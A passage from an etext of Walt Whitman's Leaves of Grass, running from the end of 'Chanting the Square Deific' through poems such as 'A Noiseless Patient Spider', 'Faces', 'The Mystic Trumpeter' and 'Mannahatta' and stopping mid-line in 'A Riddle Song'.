let none expect mercy--have the seasons, gravitation, the + appointed days, mercy? no more have I, +But as the seasons and gravitation, and as all the appointed days + that forgive not, +I dispense from this side judgments inexorable without the least remorse. + + 2 +Consolator most mild, the promis'd one advancing, +With gentle hand extended, the mightier God am I, +Foretold by prophets and poets in their most rapt prophecies and poems, +From this side, lo! the Lord Christ gazes--lo! Hermes I--lo! mine is + Hercules' face, +All sorrow, labor, suffering, I, tallying it, absorb in myself, +Many times have I been rejected, taunted, put in prison, and + crucified, and many times shall be again, +All the world have I given up for my dear brothers' and sisters' + sake, for the soul's sake, +Wanding my way through the homes of men, rich or poor, with the kiss + of affection, +For I am affection, I am the cheer-bringing God, with hope and + all-enclosing charity, +With indulgent words as to children, with fresh and sane words, mine only, +Young and strong I pass knowing well I am destin'd myself to an + early death; +But my charity has no death--my wisdom dies not, neither early nor late, +And my sweet love bequeath'd here and elsewhere never dies. + + 3 +Aloof, dissatisfied, plotting revolt, +Comrade of criminals, brother of slaves, +Crafty, despised, a drudge, ignorant, +With sudra face and worn brow, black, but in the depths of my heart, + proud as any, +Lifted now and always against whoever scorning assumes to rule me, +Morose, full of guile, full of reminiscences, brooding, with many wiles, +(Though it was thought I was baffled, and dispel'd, and my wiles + done, but that will never be,) +Defiant, I, Satan, still live, still utter words, in new lands duly + appearing, (and old ones also,) +Permanent here from my side, warlike, equal with any, real as any, +Nor time nor change shall ever change me or my words. + + 4 +Santa Spirita, breather, life, +Beyond the light, lighter than light, +Beyond the flames of hell, joyous, leaping easily above hell, +Beyond Paradise, perfumed solely with mine own perfume, +Including all life on earth, touching, including God, including + Saviour and Satan, +Ethereal, pervading all, (for without me what were all? what were God?) +Essence of forms, life of the real identities, permanent, positive, + (namely the unseen,) +Life of the great round world, the sun and stars, and of man, I, the + general soul, +Here the square finishing, the solid, I the most solid, +Breathe my breath also through these songs. + + + +} Of Him I Love Day and Night + +Of him I love day and night I dream'd I heard he was dead, +And I dream'd I went where they had buried him I love, but he was + not in that place, +And I dream'd I wander'd searching among burial-places to find him, +And I found that every place was a burial-place; +The houses full of life were equally full of death, (this house is now,) +The streets, the shipping, the places of amusement, the Chicago, + Boston, Philadelphia, the Mannahatta, were as full of the dead as + of the living, +And fuller, O vastly fuller of the dead than of the living; +And what I dream'd I will henceforth tell to every person and age, +And I stand henceforth bound to what I dream'd, +And now I am willing to disregard burial-places and dispense with them, +And if the memorials of the dead were put up indifferently everywhere, + even in the room where I eat or sleep, I should be satisfied, +And if the corpse of any one I love, or if my own corpse, be duly + render'd to powder and pour'd in the sea, I shall be satisfied, +Or if it be distributed to the winds I shall be satisfied. + + + +} Yet, Yet, Ye Downcast Hours + +Yet, yet, ye downcast hours, I know ye also, +Weights of lead, how ye clog and cling at my ankles, +Earth to a chamber of mourning turns--I hear the o'erweening, mocking + voice, +Matter is conqueror--matter, triumphant only, continues onward. + +Despairing cries float ceaselessly toward me, +The call of my nearest lover, putting forth, alarm'd, uncertain, +The sea I am quickly to sail, come tell me, +Come tell me where I am speeding, tell me my destination. + +I understand your anguish, but I cannot help you, +I approach, hear, behold, the sad mouth, the look out of the eyes, + your mute inquiry, +Whither I go from the bed I recline on, come tell me,-- +Old age, alarm'd, uncertain--a young woman's voice, appealing to + me for comfort; +A young man's voice, Shall I not escape? + + + +} As If a Phantom Caress'd Me + +As if a phantom caress'd me, +I thought I was not alone walking here by the shore; +But the one I thought was with me as now I walk by the shore, the + one I loved that caress'd me, +As I lean and look through the glimmering light, that one has + utterly disappear'd. +And those appear that are hateful to me and mock me. + + + +} Assurances + +I need no assurances, I am a man who is preoccupied of his own soul; +I do not doubt that from under the feet and beside the hands and + face I am cognizant of, are now looking faces I am not cognizant + of, calm and actual faces, +I do not doubt but the majesty and beauty of the world are latent in + any iota of the world, +I do not doubt I am limitless, and that the universes are limitless, + in vain I try to think how limitless, +I do not doubt that the orbs and the systems of orbs play their + swift sports through the air on purpose, and that I shall one day + be eligible to do as much as they, and more than they, +I do not doubt that temporary affairs keep on and on millions of years, +I do not doubt interiors have their interiors, and exteriors have + their exteriors, and that the eyesight has another eyesight, and + the hearing another hearing, and the voice another voice, +I do not doubt that the passionately-wept deaths of young men are + provided for, and that the deaths of young women and the + deaths of little children are provided for, +(Did you think Life was so well provided for, and Death, the purport + of all Life, is not well provided for?) +I do not doubt that wrecks at sea, no matter what the horrors of + them, no matter whose wife, child, husband, father, lover, has + gone down, are provided for, to the minutest points, +I do not doubt that whatever can possibly happen anywhere at any + time, is provided for in the inherences of things, +I do not think Life provides for all and for Time and Space, but I + believe Heavenly Death provides for all. + + + +} Quicksand Years + +Quicksand years that whirl me I know not whither, +Your schemes, politics, fail, lines give way, substances mock and elude me, +Only the theme I sing, the great and strong-possess'd soul, eludes not, +One's-self must never give way--that is the final substance--that + out of all is sure, +Out of politics, triumphs, battles, life, what at last finally remains? +When shows break up what but One's-Self is sure? + + + +} That Music Always Round Me + +That music always round me, unceasing, unbeginning, yet long + untaught I did not hear, +But now the chorus I hear and am elated, +A tenor, strong, ascending with power and health, with glad notes of + daybreak I hear, +A soprano at intervals sailing buoyantly over the tops of immense waves, +A transparent base shuddering lusciously under and through the universe, +The triumphant tutti, the funeral wailings with sweet flutes and + violins, all these I fill myself with, +I hear not the volumes of sound merely, I am moved by the exquisite + meanings, +I listen to the different voices winding in and out, striving, + contending with fiery vehemence to excel each other in emotion; +I do not think the performers know themselves--but now I think + begin to know them. + + + +} What Ship Puzzled at Sea + +What ship puzzled at sea, cons for the true reckoning? +Or coming in, to avoid the bars and follow the channel a perfect + pilot needs? +Here, sailor! here, ship! take aboard the most perfect pilot, +Whom, in a little boat, putting off and rowing, I hailing you offer. + + + +} A Noiseless Patient Spider + +A noiseless patient spider, +I mark'd where on a little promontory it stood isolated, +Mark'd how to explore the vacant vast surrounding, +It launch'd forth filament, filament, filament out of itself, +Ever unreeling them, ever tirelessly speeding them. + +And you O my soul where you stand, +Surrounded, detached, in measureless oceans of space, +Ceaselessly musing, venturing, throwing, seeking the spheres to + connect them, +Till the bridge you will need be form'd, till the ductile anchor hold, +Till the gossamer thread you fling catch somewhere, O my soul. + + + +} O Living Always, Always Dying + +O living always, always dying! +O the burials of me past and present, +O me while I stride ahead, material, visible, imperious as ever; +O me, what I was for years, now dead, (I lament not, I am content;) +O to disengage myself from those corpses of me, which I turn and + look at where I cast them, +To pass on, (O living! always living!) and leave the corpses behind. + + + +} To One Shortly to Die + +From all the rest I single out you, having a message for you, +You are to die--let others tell you what they please, I cannot prevaricate, +I am exact and merciless, but I love you--there is no escape for you. + +Softly I lay my right hand upon you, you 'ust feel it, +I do not argue, I bend my head close and half envelop it, +I sit quietly by, I remain faithful, +I am more than nurse, more than parent or neighbor, +I absolve you from all except yourself spiritual bodily, that is + eternal, you yourself will surely escape, +The corpse you will leave will be but excrementitious. + +The sun bursts through in unlooked-for directions, +Strong thoughts fill you and confidence, you smile, +You forget you are sick, as I forget you are sick, +You do not see the medicines, you do not mind the weeping friends, + I am with you, +I exclude others from you, there is nothing to be commiserated, +I do not commiserate, I congratulate you. + + + +} Night on the Prairies + +Night on the prairies, +The supper is over, the fire on the ground burns low, +The wearied emigrants sleep, wrapt in their blankets; +I walk by myself--I stand and look at the stars, which I think now + never realized before. + +Now I absorb immortality and peace, +I admire death and test propositions. + +How plenteous! how spiritual! how resume! +The same old man and soul--the same old aspirations, and the same content. + +I was thinking the day most splendid till I saw what the not-day exhibited, +I was thinking this globe enough till there sprang out so noiseless + around me myriads of other globes. + +Now while the great thoughts of space and eternity fill me I will + measure myself by them, +And now touch'd with the lives of other globes arrived as far along + as those of the earth, +Or waiting to arrive, or pass'd on farther than those of the earth, +I henceforth no more ignore them than I ignore my own life, +Or the lives of the earth arrived as far as mine, or waiting to arrive. + +O I see now that life cannot exhibit all to me, as the day cannot, +I see that I am to wait for what will be exhibited by death. + + + +} Thought + +As I sit with others at a great feast, suddenly while the music is playing, +To my mind, (whence it comes I know not,) spectral in mist of a + wreck at sea, +Of certain ships, how they sail from port with flying streamers and + wafted kisses, and that is the last of them, +Of the solemn and murky mystery about the fate of the President, +Of the flower of the marine science of fifty generations founder'd + off the Northeast coast and going down--of the steamship Arctic + going down, +Of the veil'd tableau-women gather'd together on deck, pale, heroic, + waiting the moment that draws so close--O the moment! + +A huge sob--a few bubbles--the white foam spirting up--and then the + women gone, +Sinking there while the passionless wet flows on--and I now + pondering, Are those women indeed gone? +Are souls drown'd and destroy'd so? +Is only matter triumphant? + + + +} The Last Invocation + +At the last, tenderly, +From the walls of the powerful fortress'd house, +From the clasp of the knitted locks, from the keep of the well-closed doors, +Let me be wafted. + +Let me glide noiselessly forth; +With the key of softness unlock the locks--with a whisper, +Set ope the doors O soul. + +Tenderly--be not impatient, +(Strong is your hold O mortal flesh, +Strong is your hold O love.) + + + +} As I Watch the Ploughman Ploughing + +As I watch'd the ploughman ploughing, +Or the sower sowing in the fields, or the harvester harvesting, +I saw there too, O life and death, your analogies; +(Life, life is the tillage, and Death is the harvest according.) + + + +} Pensive and Faltering + +Pensive and faltering, +The words the Dead I write, +For living are the Dead, +(Haply the only living, only real, +And I the apparition, I the spectre.) + + + +[BOOK XXXI] + +} Thou Mother with Thy Equal Brood + + 1 +Thou Mother with thy equal brood, +Thou varied chain of different States, yet one identity only, +A special song before I go I'd sing o'er all the rest, +For thee, the future. + +I'd sow a seed for thee of endless Nationality, +I'd fashion thy ensemble including body and soul, +I'd show away ahead thy real Union, and how it may be accomplish'd. + +The paths to the house I seek to make, +But leave to those to come the house itself. + +Belief I sing, and preparation; +As Life and Nature are not great with reference to the present only, +But greater still from what is yet to come, +Out of that formula for thee I sing. + + 2 +As a strong bird on pinions free, +Joyous, the amplest spaces heavenward cleaving, +Such be the thought I'd think of thee America, +Such be the recitative I'd bring for thee. + +The conceits of the poets of other lands I'd bring thee not, +Nor the compliments that have served their turn so long, +Nor rhyme, nor the classics, nor perfume of foreign court or indoor + library; +But an odor I'd bring as from forests of pine in Maine, or breath of + an Illinois prairie, +With open airs of Virginia or Georgia or Tennessee, or from Texas + uplands, or Florida's glades, +Or the Saguenay's black stream, or the wide blue spread of Huron, +With presentment of Yellowstone's scenes, or Yosemite, +And murmuring under, pervading all, I'd bring the rustling sea-sound, +That endlessly sounds from the two Great Seas of the world. + +And for thy subtler sense subtler refrains dread Mother, +Preludes of intellect tallying these and thee, mind-formulas fitted + for thee, real and sane and large as these and thee, +Thou! mounting higher, diving deeper than we knew, thou + transcendental Union! +By thee fact to be justified, blended with thought, +Thought of man justified, blended with God, +Through thy idea, lo, the immortal reality! +Through thy reality, lo, the immortal idea! + + 3 +Brain of the New World, what a task is thine, +To formulate the Modern--out of the peerless grandeur of the modern, +Out of thyself, comprising science, to recast poems, churches, art, +(Recast, may-be discard them, end them--maybe their work is done, + who knows?) +By vision, hand, conception, on the background of the mighty past, the dead, +To limn with absolute faith the mighty living present. + +And yet thou living present brain, heir of the dead, the Old World brain, +Thou that lay folded like an unborn babe within its folds so long, +Thou carefully prepared by it so long--haply thou but unfoldest it, + only maturest it, +It to eventuate in thee--the essence of the by-gone time contain'd in thee, +Its poems, churches, arts, unwitting to themselves, destined with + reference to thee; +Thou but the apples, long, long, long a-growing, +The fruit of all the Old ripening to-day in thee. + + 4 +Sail, sail thy best, ship of Democracy, +Of value is thy freight, 'tis not the Present only, +The Past is also stored in thee, +Thou holdest not the venture of thyself alone, not of the Western + continent alone, +Earth's resume entire floats on thy keel O ship, is steadied by thy spars, +With thee Time voyages in trust, the antecedent nations sink or + swim with thee, +With all their ancient struggles, martyrs, heroes, epics, wars, thou + bear'st the other continents, +Theirs, theirs as much as thine, the destination-port triumphant; +Steer then with good strong hand and wary eye O helmsman, thou + carriest great companions, +Venerable priestly Asia sails this day with thee, +And royal feudal Europe sails with thee. + + 5 +Beautiful world of new superber birth that rises to my eyes, +Like a limitless golden cloud filling the westernr sky, +Emblem of general maternity lifted above all, +Sacred shape of the bearer of daughters and sons, +Out of thy teeming womb thy giant babes in ceaseless procession issuing, +Acceding from such gestation, taking and giving continual strength + and life, +World of the real--world of the twain in one, +World of the soul, born by the world of the real alone, led to + identity, body, by it alone, +Yet in beginning only, incalculable masses of composite precious materials, +By history's cycles forwarded, by every nation, language, hither sent, +Ready, collected here, a freer, vast, electric world, to be + constructed here, +(The true New World, the world of orbic science, morals, literatures + to come,) +Thou wonder world yet undefined, unform'd, neither do I define thee, +How can I pierce the impenetrable blank of the future? +I feel thy ominous greatness evil as well as good, +I watch thee advancing, absorbing the present, transcending the past, +I see thy light lighting, and thy shadow shadowing, as if the entire globe, +But I do not undertake to define thee, hardly to comprehend thee, +I but thee name, thee prophesy, as now, +I merely thee ejaculate! + +Thee in thy future, +Thee in thy only permanent life, career, thy own unloosen'd mind, + thy soaring spirit, +Thee as another equally needed sun, radiant, ablaze, swift-moving, + fructifying all, +Thee risen in potent cheerfulness and joy, in endless great hilarity, +Scattering for good the cloud that hung so long, that weigh'd so + long upon the mind of man, +The doubt, suspicion, dread, of gradual, certain decadence of man; +Thee in thy larger, saner brood of female, male--thee in thy + athletes, moral, spiritual, South, North, West, East, +(To thy immortal breasts, Mother of All, thy every daughter, son, + endear'd alike, forever equal,) +Thee in thy own musicians, singers, artists, unborn yet, but certain, +Thee in thy moral wealth and civilization, (until which thy proudest + material civilization must remain in vain,) +Thee in thy all-supplying, all-enclosing worship--thee in no single + bible, saviour, merely, +Thy saviours countless, latent within thyself, thy bibles incessant + within thyself, equal to any, divine as any, +(Thy soaring course thee formulating, not in thy two great wars, nor + in thy century's visible growth, +But far more in these leaves and chants, thy chants, great Mother!) +Thee in an education grown of thee, in teachers, studies, students, + born of thee, +Thee in thy democratic fetes en-masse, thy high original festivals, + operas, lecturers, preachers, +Thee in thy ultimate, (the preparations only now completed, the + edifice on sure foundations tied,) +Thee in thy pinnacles, intellect, thought, thy topmost rational + joys, thy love and godlike aspiration, +In thy resplendent coming literati, thy full-lung'd orators, thy + sacerdotal bards, kosmic savans, +These! these in thee, (certain to come,) to-day I prophesy. + + 6 +Land tolerating all, accepting all, not for the good alone, all good + for thee, +Land in the realms of God to be a realm unto thyself, +Under the rule of God to be a rule unto thyself. + +(Lo, where arise three peerless stars, +To be thy natal stars my country, Ensemble, Evolution, Freedom, +Set in the sky of Law.) + +Land of unprecedented faith, God's faith, +Thy soil, thy very subsoil, all upheav'd, +The general inner earth so long so sedulously draped over, now hence + for what it is boldly laid bare, +Open'd by thee to heaven's light for benefit or bale. + +Not for success alone, +Not to fair-sail unintermitted always, +The storm shall dash thy face, the murk of war and worse than war + shall cover thee all over, +(Wert capable of war, its tug and trials? be capable of peace, its trials, +For the tug and mortal strain of nations come at last in prosperous + peace, not war;) +In many a smiling mask death shall approach beguiling thee, thou in + disease shalt swelter, +The livid cancer spread its hideous claws, clinging upon thy + breasts, seeking to strike thee deep within, +Consumption of the worst, moral consumption, shall rouge thy face + with hectic, +But thou shalt face thy fortunes, thy diseases, and surmount them all, +Whatever they are to-day and whatever through time they may be, +They each and all shall lift and pass away and cease from thee, +While thou, Time's spirals rounding, out of thyself, thyself still + extricating, fusing, +Equable, natural, mystical Union thou, (the mortal with immortal blent,) +Shalt soar toward the fulfilment of the future, the spirit of the + body and the mind, +The soul, its destinies. + +The soul, its destinies, the real real, +(Purport of all these apparitions of the real;) +In thee America, the soul, its destinies, +Thou globe of globes! thou wonder nebulous! +By many a throe of heat and cold convuls'd, (by these thyself solidifying,) +Thou mental, moral orb--thou New, indeed new, Spiritual World! +The Present holds thee not--for such vast growth as thine, +For such unparallel'd flight as thine, such brood as thine, +The FUTURE only holds thee and can hold thee. + + + +} A Paumanok Picture + +Two boats with nets lying off the sea-beach, quite still, +Ten fishermen waiting--they discover a thick school of mossbonkers + --they drop the join'd seine-ends in the water, +The boats separate and row off, each on its rounding course to the + beach, enclosing the mossbonkers, +The net is drawn in by a windlass by those who stop ashore, +Some of the fishermen lounge in their boats, others stand + ankle-deep in the water, pois'd on strong legs, +The boats partly drawn up, the water slapping against them, +Strew'd on the sand in heaps and windrows, well out from the water, + the green-back'd spotted mossbonkers. + + + +[BOOK XXXII. FROM NOON TO STARRY NIGHT] + +} Thou Orb Aloft Full-Dazzling + +Thou orb aloft full-dazzling! thou hot October noon! +Flooding with sheeny light the gray beach sand, +The sibilant near sea with vistas far and foam, +And tawny streaks and shades and spreading blue; +O sun of noon refulgent! my special word to thee. + +Hear me illustrious! +Thy lover me, for always I have loved thee, +Even as basking babe, then happy boy alone by some wood edge, thy + touching-distant beams enough, +Or man matured, or young or old, as now to thee I launch my invocation. + +(Thou canst not with thy dumbness me deceive, +I know before the fitting man all Nature yields, +Though answering not in words, the skies, trees, hear his voice--and + thou O sun, +As for thy throes, thy perturbations, sudden breaks and shafts of + flame gigantic, +I understand them, I know those flames, those perturbations well.) + +Thou that with fructifying heat and light, +O'er myriad farms, o'er lands and waters North and South, +O'er Mississippi's endless course, o'er Texas' grassy plains, + Kanada's woods, +O'er all the globe that turns its face to thee shining in space, +Thou that impartially enfoldest all, not only continents, seas, +Thou that to grapes and weeds and little wild flowers givest so liberally, +Shed, shed thyself on mine and me, with but a fleeting ray out of + thy million millions, +Strike through these chants. + +Nor only launch thy subtle dazzle and thy strength for these, +Prepare the later afternoon of me myself--prepare my lengthening shadows, +Prepare my starry nights. + + + +} Faces + + 1 +Sauntering the pavement or riding the country by-road, faces! +Faces of friendship, precision, caution, suavity, ideality, +The spiritual-prescient face, the always welcome common benevolent face, +The face of the singing of music, the grand faces of natural lawyers + and judges broad at the back-top, +The faces of hunters and fishers bulged at the brows, the shaved + blanch'd faces of orthodox citizens, +The pure, extravagant, yearning, questioning artist's face, +The ugly face of some beautiful soul, the handsome detested or + despised face, +The sacred faces of infants, the illuminated face of the mother of + many children, +The face of an amour, the face of veneration, +The face as of a dream, the face of an immobile rock, +The face withdrawn of its good and bad, a castrated face, +A wild hawk, his wings clipp'd by the clipper, +A stallion that yielded at last to the thongs and knife of the gelder. + +Sauntering the pavement thus, or crossing the ceaseless ferry, faces + and faces and faces, +I see them and complain not, and am content with all. + + 2 +Do you suppose I could be content with all if I thought them their + own finale? + +This now is too lamentable a face for a man, +Some abject louse asking leave to be, cringing for it, +Some milk-nosed maggot blessing what lets it wrig to its hole. + +This face is a dog's snout sniffing for garbage, +Snakes nest in that mouth, I hear the sibilant threat. + +This face is a haze more chill than the arctic sea, +Its sleepy and wobbling icebergs crunch as they go. + +This is a face of bitter herbs, this an emetic, they need no label, +And more of the drug-shelf, laudanum, caoutchouc, or hog's-lard. + +This face is an epilepsy, its wordless tongue gives out the unearthly cry, +Its veins down the neck distend, its eyes roll till they show + nothing but their whites, +Its teeth grit, the palms of the hands are cut by the turn'd-in nails, +The man falls struggling and foaming to the ground, while he + speculates well. + +This face is bitten by vermin and worms, +And this is some murderer's knife with a half-pull'd scabbard. + +This face owes to the sexton his dismalest fee, +An unceasing death-bell tolls there. + + 3 +Features of my equals would you trick me with your creas'd and + cadaverous march? +Well, you cannot trick me. + +I see your rounded never-erased flow, +I see 'neath the rims of your haggard and mean disguises. + +Splay and twist as you like, poke with the tangling fores of fishes or rats, +You'll be unmuzzled, you certainly will. + +I saw the face of the most smear'd and slobbering idiot they had at + the asylum, +And I knew for my consolation what they knew not, +I knew of the agents that emptied and broke my brother, +The same wait to clear the rubbish from the fallen tenement, +And I shall look again in a score or two of ages, +And I shall meet the real landlord perfect and unharm'd, every inch + as good as myself. + + 4 +The Lord advances, and yet advances, +Always the shadow in front, always the reach'd hand bringing up the + laggards. + +Out of this face emerge banners and horses--O superb! I see what is coming, +I see the high pioneer-caps, see staves of runners clearing the way, +I hear victorious drums. + +This face is a life-boat, +This is the face commanding and bearded, it asks no odds of the rest, +This face is flavor'd fruit ready for eating, +This face of a healthy honest boy is the programme of all good. + +These faces bear testimony slumbering or awake, +They show their descent from the Master himself. + +Off the word I have spoken I except not one--red, white, black, are + all deific, +In each house is the ovum, it comes forth after a thousand years. + +Spots or cracks at the windows do not disturb me, +Tall and sufficient stand behind and make signs to me, +I read the promise and patiently wait. + +This is a full-grown lily's face, +She speaks to the limber-hipp'd man near the garden pickets, +Come here she blushingly cries, Come nigh to me limber-hipp'd man, +Stand at my side till I lean as high as I can upon you, +Fill me with albescent honey, bend down to me, +Rub to me with your chafing beard, rub to my breast and shoulders. + + 5 +The old face of the mother of many children, +Whist! I am fully content. + +Lull'd and late is the smoke of the First-day morning, +It hangs low over the rows of trees by the fences, +It hangs thin by the sassafras and wild-cherry and cat-brier under them. + +I saw the rich ladies in full dress at the soiree, +I heard what the singers were singing so long, +Heard who sprang in crimson youth from the white froth and the water-blue. + +Behold a woman! +She looks out from her quaker cap, her face is clearer and more + beautiful than the sky. + +She sits in an armchair under the shaded porch of the farmhouse, +The sun just shines on her old white head. + +Her ample gown is of cream-hued linen, +Her grandsons raised the flax, and her grand-daughters spun it with + the distaff and the wheel. + +The melodious character of the earth, +The finish beyond which philosophy cannot go and does not wish to go, +The justified mother of men. + + + +} The Mystic Trumpeter + + 1 +Hark, some wild trumpeter, some strange musician, +Hovering unseen in air, vibrates capricious tunes to-night. + +I hear thee trumpeter, listening alert I catch thy notes, +Now pouring, whirling like a tempest round me, +Now low, subdued, now in the distance lost. + + 2 +Come nearer bodiless one, haply in thee resounds +Some dead composer, haply thy pensive life +Was fill'd with aspirations high, unform'd ideals, +Waves, oceans musical, chaotically surging, +That now ecstatic ghost, close to me bending, thy cornet echoing, pealing, +Gives out to no one's ears but mine, but freely gives to mine, +That I may thee translate. + + 3 +Blow trumpeter free and clear, I follow thee, +While at thy liquid prelude, glad, serene, +The fretting world, the streets, the noisy hours of day withdraw, +A holy calm descends like dew upon me, +I walk in cool refreshing night the walks of Paradise, +I scent the grass, the moist air and the roses; +Thy song expands my numb'd imbonded spirit, thou freest, launchest me, +Floating and basking upon heaven's lake. + + 4 +Blow again trumpeter! and for my sensuous eyes, +Bring the old pageants, show the feudal world. + +What charm thy music works! thou makest pass before me, +Ladies and cavaliers long dead, barons are in their castle halls, + the troubadours are singing, +Arm'd knights go forth to redress wrongs, some in quest of the holy Graal; +I see the tournament, I see the contestants incased in heavy armor + seated on stately champing horses, +I hear the shouts, the sounds of blows and smiting steel; +I see the Crusaders' tumultuous armies--hark, how the cymbals clang, +Lo, where the monks walk in advance, bearing the cross on high. + + 5 +Blow again trumpeter! and for thy theme, +Take now the enclosing theme of all, the solvent and the setting, +Love, that is pulse of all, the sustenance and the pang, +The heart of man and woman all for love, +No other theme but love--knitting, enclosing, all-diffusing love. + +O how the immortal phantoms crowd around me! +I see the vast alembic ever working, I see and know the flames that + heat the world, +The glow, the blush, the beating hearts of lovers, +So blissful happy some, and some so silent, dark, and nigh to death; +Love, that is all the earth to lovers--love, that mocks time and space, +Love, that is day and night--love, that is sun and moon and stars, +Love, that is crimson, sumptuous, sick with perfume, +No other words but words of love, no other thought but love. + + 6 +Blow again trumpeter--conjure war's alarums. + +Swift to thy spell a shuddering hum like distant thunder rolls, +Lo, where the arm'd men hasten--lo, mid the clouds of dust the glint + of bayonets, +I see the grime-faced cannoneers, I mark the rosy flash amid the + smoke, I hear the cracking of the guns; +Nor war alone--thy fearful music-song, wild player, brings every + sight of fear, +The deeds of ruthless brigands, rapine, murder--I hear the cries for help! +I see ships foundering at sea, I behold on deck and below deck the + terrible tableaus. + + 7 +O trumpeter, methinks I am myself the instrument thou playest, +Thou melt'st my heart, my brain--thou movest, drawest, changest + them at will; +And now thy sullen notes send darkness through me, +Thou takest away all cheering light, all hope, +I see the enslaved, the overthrown, the hurt, the opprest of the + whole earth, +I feel the measureless shame and humiliation of my race, it becomes + all mine, +Mine too the revenges of humanity, the wrongs of ages, baffled feuds + and hatreds, +Utter defeat upon me weighs--all lost--the foe victorious, +(Yet 'mid the ruins Pride colossal stands unshaken to the last, +Endurance, resolution to the last.) + + + 8 +Now trumpeter for thy close, +Vouchsafe a higher strain than any yet, +Sing to my soul, renew its languishing faith and hope, +Rouse up my slow belief, give me some vision of the future, +Give me for once its prophecy and joy. + +O glad, exulting, culminating song! +A vigor more than earth's is in thy notes, +Marches of victory--man disenthral'd--the conqueror at last, +Hymns to the universal God from universal man--all joy! +A reborn race appears--a perfect world, all joy! +Women and men in wisdom innocence and health--all joy! +Riotous laughing bacchanals fill'd with joy! +War, sorrow, suffering gone--the rank earth purged--nothing but joy left! +The ocean fill'd with joy--the atmosphere all joy! +Joy! joy! in freedom, worship, love! joy in the ecstasy of life! +Enough to merely be! enough to breathe! +Joy! joy! all over joy! + + + +} To a Locomotive in Winter + +Thee for my recitative, +Thee in the driving storm even as now, the snow, the winter-day declining, +Thee in thy panoply, thy measur'd dual throbbing and thy beat convulsive, +Thy black cylindric body, golden brass and silvery steel, +Thy ponderous side-bars, parallel and connecting rods, gyrating, + shuttling at thy sides, +Thy metrical, now swelling pant and roar, now tapering in the distance, +Thy great protruding head-light fix'd in front, +Thy long, pale, floating vapor-pennants, tinged with delicate purple, +The dense and murky clouds out-belching from thy smoke-stack, +Thy knitted frame, thy springs and valves, the tremulous twinkle of + thy wheels, +Thy train of cars behind, obedient, merrily following, +Through gale or calm, now swift, now slack, yet steadily careering; +Type of the modern--emblem of motion and power--pulse of the continent, +For once come serve the Muse and merge in verse, even as here I see thee, +With storm and buffeting gusts of wind and falling snow, +By day thy warning ringing bell to sound its notes, +By night thy silent signal lamps to swing. + +Fierce-throated beauty! +Roll through my chant with all thy lawless music, thy swinging lamps + at night, +Thy madly-whistled laughter, echoing, rumbling like an earthquake, + rousing all, +Law of thyself complete, thine own track firmly holding, +(No sweetness debonair of tearful harp or glib piano thine,) +Thy trills of shrieks by rocks and hills return'd, +Launch'd o'er the prairies wide, across the lakes, +To the free skies unpent and glad and strong. + + + +} O Magnet-South + +O magnet-south! O glistening perfumed South! my South! +O quick mettle, rich blood, impulse and love! good and evil! O all + dear to me! +O dear to me my birth-things--all moving things and the trees where + I was born--the grains, plants, rivers, +Dear to me my own slow sluggish rivers where they flow, distant, + over flats of slivery sands or through swamps, +Dear to me the Roanoke, the Savannah, the Altamahaw, the Pedee, the + Tombigbee, the Santee, the Coosa and the Sabine, +O pensive, far away wandering, I return with my soul to haunt their + banks again, +Again in Florida I float on transparent lakes, I float on the + Okeechobee, I cross the hummock-land or through pleasant openings + or dense forests, +I see the parrots in the woods, I see the papaw-tree and the + blossoming titi; +Again, sailing in my coaster on deck, I coast off Georgia, I coast + up the Carolinas, +I see where the live-oak is growing, I see where the yellow-pine, + the scented bay-tree, the lemon and orange, the cypress, the + graceful palmetto, +I pass rude sea-headlands and enter Pamlico sound through an inlet, + and dart my vision inland; +O the cotton plant! the growing fields of rice, sugar, hemp! +The cactus guarded with thorns, the laurel-tree with large white flowers, +The range afar, the richness and barrenness, the old woods charged + with mistletoe and trailing moss, +The piney odor and the gloom, the awful natural stillness, (here in + these dense swamps the freebooter carries his gun, and the + fugitive has his conceal'd hut;) +O the strange fascination of these half-known half-impassable + swamps, infested by reptiles, resounding with the bellow of the + alligator, the sad noises of the night-owl and the wild-cat, and + the whirr of the rattlesnake, +The mocking-bird, the American mimic, singing all the forenoon, + singing through the moon-lit night, +The humming-bird, the wild turkey, the raccoon, the opossum; +A Kentucky corn-field, the tall, graceful, long-leav'd corn, + slender, flapping, bright green, with tassels, with beautiful + ears each well-sheath'd in its husk; +O my heart! O tender and fierce pangs, I can stand them not, I will depart; +O to be a Virginian where I grew up! O to be a Carolinian! +O longings irrepressible! O I will go back to old Tennessee and + never wander more. + + + +} Mannahatta + +I was asking for something specific and perfect for my city, +Whereupon lo! upsprang the aboriginal name. + +Now I see what there is in a name, a word, liquid, sane, unruly, + musical, self-sufficient, +I see that the word of my city is that word from of old, +Because I see that word nested in nests of water-bays, superb, +Rich, hemm'd thick all around with sailships and steamships, an + island sixteen miles long, solid-founded, +Numberless crowded streets, high growths of iron, slender, strong, + light, splendidly uprising toward clear skies, +Tides swift and ample, well-loved by me, toward sundown, +The flowing sea-currents, the little islands, larger adjoining + islands, the heights, the villas, +The countless masts, the white shore-steamers, the lighters, the + ferry-boats, the black sea-steamers well-model'd, +The down-town streets, the jobbers' houses of business, the houses + of business of the ship-merchants and money-brokers, the river-streets, +Immigrants arriving, fifteen or twenty thousand in a week, +The carts hauling goods, the manly race of drivers of horses, the + brown-faced sailors, +The summer air, the bright sun shining, and the sailing clouds aloft, +The winter snows, the sleigh-bells, the broken ice in the river, + passing along up or down with the flood-tide or ebb-tide, +The mechanics of the city, the masters, well-form'd, + beautiful-faced, looking you straight in the eyes, +Trottoirs throng'd, vehicles, Broadway, the women, the shops and shows, +A million people--manners free and superb--open voices--hospitality-- + the most courageous and friendly young men, +City of hurried and sparkling waters! city of spires and masts! +City nested in bays! my city! + + + +} All Is Truth + +O me, man of slack faith so long, +Standing aloof, denying portions so long, +Only aware to-day of compact all-diffused truth, +Discovering to-day there is no lie or form of lie, and can be none, + but grows as inevitably upon itself as the truth does upon itself, +Or as any law of the earth or any natural production of the earth does. + +(This is curious and may not be realized immediately, but it must be + realized, +I feel in myself that I represent falsehoods equally with the rest, +And that the universe does.) + +Where has fail'd a perfect return indifferent of lies or the truth? +Is it upon the ground, or in water or fire? or in the spirit of man? + or in the meat and blood? + +Meditating among liars and retreating sternly into myself, I see + that there are really no liars or lies after all, +And that nothing fails its perfect return, and that what are called + lies are perfect returns, +And that each thing exactly represents itself and what has preceded it, +And that the truth includes all, and is compact just as much as + space is compact, +And that there is no flaw or vacuum in the amount of the truth--but + that all is truth without exception; +And henceforth I will go celebrate any thing I see or am, +And sing and laugh and deny nothing. + + + +} A Riddle Song + +That which eludes this verse and any verse, +Unheard by sharpest ear, unform'd in clearest eye or cunningest mind, +Nor lore 